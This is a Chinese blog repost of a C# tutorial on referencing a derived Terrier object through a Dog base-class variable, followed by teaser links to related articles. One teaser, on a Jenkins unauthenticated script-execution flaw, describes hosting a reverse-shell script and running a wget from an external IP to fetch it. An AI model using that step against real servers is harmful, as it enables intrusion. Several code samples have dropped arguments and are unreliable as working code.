【转载】#335 - Accessing a Derived Class Using a Base Class Variable
You can use a variable whose type is a base class to reference instances of a derived class.
However, using the variable whose type is the base class, you can use it to access only members of the base class and not members of the derived class.
In the example below, we have two instances of the Terrier class, which derives from Dog. One instance is referenced by a variable of type Terrier. Using this variable, you have access to all members of the Terrier class. On the other hand, the variable whose type is Dog can only reference members of the Dog class, even though the reference points to an instance of a Terrier.
Terrier bubba = new Terrier("Bubba", , "Happy");
bubba.Growl(); // Can call Terrier.Growl
Dog jack = new Terrier("Jack", , "Surly");
jack.Growl(); // ERROR: Can't call Growl method
原文地址:#335 - Accessing a Derived Class Using a Base Class Variable
【转载】#335 - Accessing a Derived Class Using a Base Class Variable的更多相关文章
- (转载)1248 - Every derived table must have its own alias
(转载)http://hi.baidu.com/lylegend13/item/a79f17eb51f5dff7e0a5d43b 1. select count(distinct CName) fro ...
- 如何实现 Copying derived entities using only base class pointer
#include <iostream> struct CloneableBase { ; }; template<class Derived> struct Cloneable ...
- 关于C#你应该知道的2000件事
原文 关于C#你应该知道的2000件事 下面列出了迄今为止你应该了解的关于C#博客的2000件事的所有帖子. 帖子总数= 1,219 大会 #11 -检查IL使用程序Ildasm.exe d #179 ...
- 【转载】#330 - Derived Classes Do Not Inherit Constructors
A derived class inherits all of the members of a base class except for its constructors. You must de ...
- [转载] google mock cookbook
原文: https://code.google.com/p/googlemock/wiki/CookBook Creating Mock Classes Mocking Private or Prot ...
- C++ 强制类型转换(转载)
转载自:http://www.weixueyuan.net/view/6329.html 在C++语言中新增了四个关键字static_cast.const_cast.reinterpret_cast和 ...
- 【转载】C++中的基类与派生类
转自:http://www.cnblogs.com/sujz/articles/2044365.html 派生类的继承方式总结: 继承方式 说明 public 基类的public和protected的 ...
- [C++] OOP - Base and Derived Classes
There is a base class at the root of the hierarchy, from which the other class inherit, directly or ...
- 【转载】#344 - Hidden Base Class Member Is Invoked Based on Declared Type of Object
When you use the new modifier to hide a base class method, it will still be called by objects whose ...
随机推荐
- C语言一些易混淆的概念
①数组指针和指针数组 1. 数组指针用于指向一个数组,数组名是数组首元素的地址(数组名为数组首元素类型且指向首元素的指针,如int array[5] ,array为指向array[0]的指针且类型为i ...
- Jenkins未授权访问脚本执行漏洞
Jenkins未授权访问脚本执行漏洞 步骤 首先找一个站点挂上一个反弹shell脚本,然后在脚本执行框里执行脚本进行下载到tmp目录: println "wget http://47.95. ...
- windows 7 下安装VMWARE 和 red-hat 7 64bit
按F2 进入BIOS: 在inter virtualization technology 选择YES 就可以安装linux 64bit 操作系统了 https://blog.csdn.net/coco ...
- IOS Intro - Property Synthesis
http://www.thecodecrate.com/ios/objective-c/objective-c-property-synthesize/ 01. atomic ...
- BigDecimal的使用举例,包括阶乘的相加求法思路
对于高精度要求或者运算数较大的的计算,应该使用bigdecimal类实现 import java.math.BigDecimal; public class TestSysin { public st ...
- Kudu的性能测试
不多说,直接上干货! Kudu的性能测试 1. kudu和parquet的比较 上图是官方给出的用Impala跑TPC-H的测试,对比Parquet和Kudu的计算速度.从图中我们可以发现,Ku ...
- 硬盘和显卡的访问与控制(二)——《x86汇编语言:从实模式到保护模式》读书笔记02
上一篇博文我们讲了如何看到实验结果,这篇博文我们着重分析源代码. 书中作者为了说明原理,约定了一种比较简单地用户程序头部格式,示意图如下(我参考原书图8-15绘制的,左边的数字表示偏移地址): 所以, ...
- C# 压缩 解压 复制文件夹,文件的操作
命名空间:namespace System.IO.Compression 压缩: //目标文件夹 string fileDirPath = "/Downloads/试题" + us ...
- intellijidea课程 intellijidea神器使用技巧 3-3 postfix
Ctrl shift A ==> postfix completion 调出postfix 方法体中 ==> for 100.fori ==>enter for循环10 ...
- JQuery Dialog对话框 不能通过Esc关闭
背景:想通过Esc键关闭展示中的Dialog对话框,发现有些对话框可以,有些会失效. 原因分析: 1.对话框上可以输入内容的标签元素可以,反之不行. 2.如果鼠标点击对话框后,也可以Esc键关闭. 可 ...